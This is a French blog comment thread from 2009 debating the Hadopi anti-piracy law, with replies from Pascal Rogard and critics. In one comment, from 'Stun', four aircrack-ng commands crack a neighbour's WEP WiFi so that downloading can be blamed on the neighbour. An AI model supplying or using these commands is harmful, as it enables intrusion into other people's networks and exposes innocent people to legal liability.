Commentaires sur : Signatures

Par : Guillaume

Guillaume — Tue, 27 Oct 2009 05:50:18 +0000

La couverture médiatique pré-Hadopi a été quasiment inexistante (nulle même sur TF1, mais quand on voit l’affaire Bourreau-Guggenheim, on comprend pourquoi).
S’il n’y avait pas eu le rejet surprise d’Hadopi 1 à l’Assemblée en Avril, on en aurait même pas entendu parler.

Par contre, il y a fort à parier que la couverture média post-Hadopi sera bien plus large. Bah oui, comment faire arrêter de télécharger illégalement les gens s’ils ne sont pas au courant qu’on va suspendre leur abonnement…

Et c’est bien là toute l’hypocrisie ! On fait une loi destinée aux Français, mais on se garde bien de le leur dire le temps qu’elle soit votée, des fois qu’ils se rebiffent. Une fois votée, plus de soucis, c’est trop tard, donc ils l’appliquent et surtout ils se taisent.

DADVSI avait eu le même traitement, cela dit quand on voit ce que ça a changé ! AHahah …

Par : jean

jean — Mon, 26 Oct 2009 08:30:22 +0000

enfin reste plus qu’a attendre 2010 pour voir si cette loi va vraiment être appliquée, car avec votre ami sarko c’est parole parole mais pas beaucoup de concret, pour lui une fois que la loi est passée c’est bon le problème est réglé :d

il est quasiment sur que cette loi ne sera appliqué qu’a minima, les recommandés ne vont être envoyés qu’a ceux dont l’adresse IP a été détecté une bonne centaine de fois, ça douille un recommandé et vu les finances de la France…

On attend aussi les « logiciels de sécurisations » on va bien rigoler en voyant leur notice

Les téléchargeurs ont plus de chance de gagner au loto que de recevoir une convocation du juge, et même il suffira alors que tous les gens contestent pour engorger une justice qui n’a pas que cela à faire…

sinon internet évoluant très vite hadopi n’est même pas encore activée que déjà les contre mesures sont fonctionnelles et permettent de télécharger en passant sous le « radar ».

sarkozy aime bien dépenser l’argent des Français mais il aurait mieux fait de donner directement la moitié de ce que va couter cette loi aux « ayant droits » et tous le monde aurait été heureux, mais les trinqueurs d’aujourd’hui vont être les pleureurs de demain quand ils vont voir les retombées réelles.

Par : Stun

Stun — Sun, 25 Oct 2009 19:05:30 +0000

je vais surement renommer le flux RSS de ce blog en « Mauvaises nouvelles »

- France telecom viens de signer un contrat fort interessant qui va, comme à chaque fois entrainer le cycle suivant :

*Mise à disposition des oeuvres réservées à une certaine partie de la population (les abonnés orange???)
*Mise à disposition dans des fomats non ouverts (les futurs remplaçants des DRM)
*Piratage de masse pour avoir accès aux oeuvres.
Champagne!!!

- HADOPI à été voté… soyons franc tous arguments pro-HAOPI ont été brisés 100 fois, et très peu d’arguments contre à été ne serait-ce qu’attaqués.
*Conclusion 1 : le peuple à raison mais n’est plus écouté par le gouvernement, au profit de gens comme vous Monsieur ROGARD (pensser que nous sommes tous égaux en droits en 2009 relève de la folie pure)
*Conclusion 2 :
airmon-ng start wlan0
airodump-ng mon0 –channel 7 –write captureAiroDump –encrypt wep
aireplay-ng -3 -b @MacAP -h @MacStation -r captureAiroDump.cap mon0
aircrack-ng -x *.cap
Les voisins prendrons pour nous… J’ai retéléchargé un client bitorrent et eMule depuis que le conseil a validé votre Loi stupide, puissions nous faire exploser les chiffres du piratage, ce serait follement amusant!

Par : Guillaume

Guillaume — Sat, 24 Oct 2009 17:09:45 +0000

Nous verrons bientôt si vous par contre avez vu juste quand sortiront les premiers chiffres de l’industrie culturelle post-Hadopi.

Que j’ai hâte !
Sincèrement, je vous souhaite que ça marche… mais je suis quand même largement dubitatif !

Par : Guillaume

Guillaume — Sat, 24 Oct 2009 17:02:23 +0000

Moi je suis dégoutant ? Je pourrais vous répondre que les vrais dégoutants sont ceux (ou au moins un des 2) que j’ai cités plus haut mais je n’en ferai rien, j’ai envie d’élever le débat.

Je n’ai pas fait d’amalgames entre les 3 affaires, j’ai simplement dis que d’un point de vue timing, il y a quand même de nombreux éléments qui peuvent faire s’éloigner le public et les artistes.

Vous n’avez pas pu passer à coté de la réaction des Français « de base » face aux demandes des artistes de libérer Roman Polanski. Vous ne pouvez pas nier qu’il y avait une distanciation qui s’est créée…

Sur Frédéric Mittérand, c’est idem. Entre les élites qui criaient au génie littéraire et les petites gens en demande d’explications claires…

Sur Hadopi enfin, vous avez une chance, c’est le manque flagrant de médiatisation qui fait que pour l’instant Mme Durand, 50 ans, femme au foyer qui passe 8h par jour devant TF1 ne sait pas encore que si elle n’a pas mis une clef WPA sur le WiFi de sa Livebox (WEP ? WPA ? Wifi ?), elle pourra être voir son accès Internet coupé pendant un mois et recevra en prime une amende de 1500 euros, alors que finalement elle n’a rien fait cette pauvre dame. Quand les premiers dommages collatéraux vont tomber, parce qu’il y en a eu et qu’il y en aura, je pense que nous allons assister à une belle scission entre le public et l’industrie (Qu’elle porte bien ce nom aujourd’hui) culturelle.

Par : Pascal Rogard

Pascal Rogard — Sat, 24 Oct 2009 12:29:46 +0000

Les affaires Mitterrand,Polanski , hadopi comme vous y allez dans l’amalgame et c’est assez dégoutant .

Par : Pascal Rogard

Pascal Rogard — Sat, 24 Oct 2009 12:27:25 +0000

Juste un doigt de Porto.

Par : Pascal Rogard

Pascal Rogard — Sat, 24 Oct 2009 12:26:20 +0000

Maitre Eolas a sans doute de grandes qualités mais sur Hadopi 2 il s’est bien planté en prédisant son annulation.

Par : Pascal Rogard

Pascal Rogard — Sat, 24 Oct 2009 12:24:22 +0000

Vous avez raison, ce n’est pas du vol mais de la contrefaçon et je suis aussi d’accord avec vous sur les offres et c’est pourquoi nous avons formulé 10 propositions de nature a changer la donne.

Par : salabreuil

salabreuil — Sat, 24 Oct 2009 10:21:19 +0000

Un excellent billet de Maitre Eolas résume l’historique d’Hadopi : « La décision HADOPI 2 expliquée à mon stagiaire » (avec une guest-star de poids dans le rôle du stagiaire).
Avec clarté, humour et éloquence, il explique l’usine à gaz qu’est cette loi, et pourquoi les artistes auraient bien tort de célébrer une victoire de dupes.
http://www.maitre-eolas.fr/post/2009/10/22/La-d%C3%A9cision-HADOPI-2
Disons que c’est une coup politique qui permet au gouvernement de faire croire aux artistes qu’il n’a pas cédé.
La question de la rémunération des artistes reste entière. Mais tant qu’ils préfèreront incriminer leur public plutôt que les majors et les studios qui n’ont pas su faire preuve d’innovation et d’adaptation, la situation n’évoluera pas en leur faveur…
Comme rappeler Maitre Eoalas : « Le droit d’auteur est apparu pour protéger les auteurs contre les éditeurs qui s’enrichissaient sur leur dos, puis contre les producteurs de spectacle et les interprètes qui faisaient de même. Le combat des ayant-droits aujourd’hui présente une grande nouveauté : il oppose les ayant-droits à leur public, qui ne s’enrichit pas sur leur dos. Les musiciens insultent ceux qui apprécient leur musique en les traitant de voleurs, les réalisateurs font de même avec ceux qui apprécient leur film en les traitant de dealers.
Je ne suis pas expert en marketing, mais qu’il me soit permis d’émettre des doutes sur la viabilité de cette attitude, et même de sa simple rationalité. »
Plutôt que d’insulter le public et les internautes, plutôt que de vouloir satisfaire une soif de répression, plutôt que d’être pris de diarrhées législatives, il me semble en effet plus fécond de tisser des partenariats avec les FAI – à l’instar d’Orange, et de se préparer au fait qu’ils seront les investisseurs et financiers de demain.